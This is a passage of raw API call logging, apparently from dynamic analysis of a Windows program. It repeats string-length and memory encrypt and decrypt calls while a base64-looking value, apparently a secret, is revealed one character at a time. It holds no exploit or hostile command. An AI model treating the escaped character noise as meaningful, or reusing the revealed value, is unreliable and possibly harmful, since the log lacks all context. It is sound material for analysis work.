returned 0x0 [0128.048] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.048] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.048] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.048] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0128.049] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.049] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.049] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0128.049] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.049] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.049] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0128.049] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.049] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.049] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0128.049] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.049] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.049] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0128.049] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.050] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.050] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.050] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.050] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0128.050] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.050] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.050] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.050] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.050] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0128.050] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.050] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0128.050] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.050] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.050] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.050] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.050] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0128.050] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.050] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.051] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.051] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.051] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0128.051] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.051] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.051] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.051] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.051] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0128.051] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.051] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.052] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.052] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0128.052] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.052] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.052] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0128.052] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.052] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.052] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0128.052] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.052] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.052] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0128.052] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.052] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.053] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0128.053] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.053] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0128.053] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.053] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.053] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.053] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.053] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0128.053] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.053] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.053] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.053] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.053] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0128.053] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.053] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.053] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.053] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.053] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0128.053] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.053] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.053] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.054] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.054] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0128.054] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.054] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.054] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.054] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.054] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0128.054] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.054] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.054] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.054] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.054] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0128.054] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.054] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.054] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.054] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.054] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0128.054] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.054] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.054] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.054] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.055] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0128.055] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.055] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0128.055] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.055] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.055] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.055] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.055] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0128.055] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.055] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.055] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.055] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.055] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0128.055] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.055] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.055] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.055] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.055] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0128.055] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.055] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.055] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.055] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.056] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0128.056] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.056] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.056] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.056] SystemFunction041 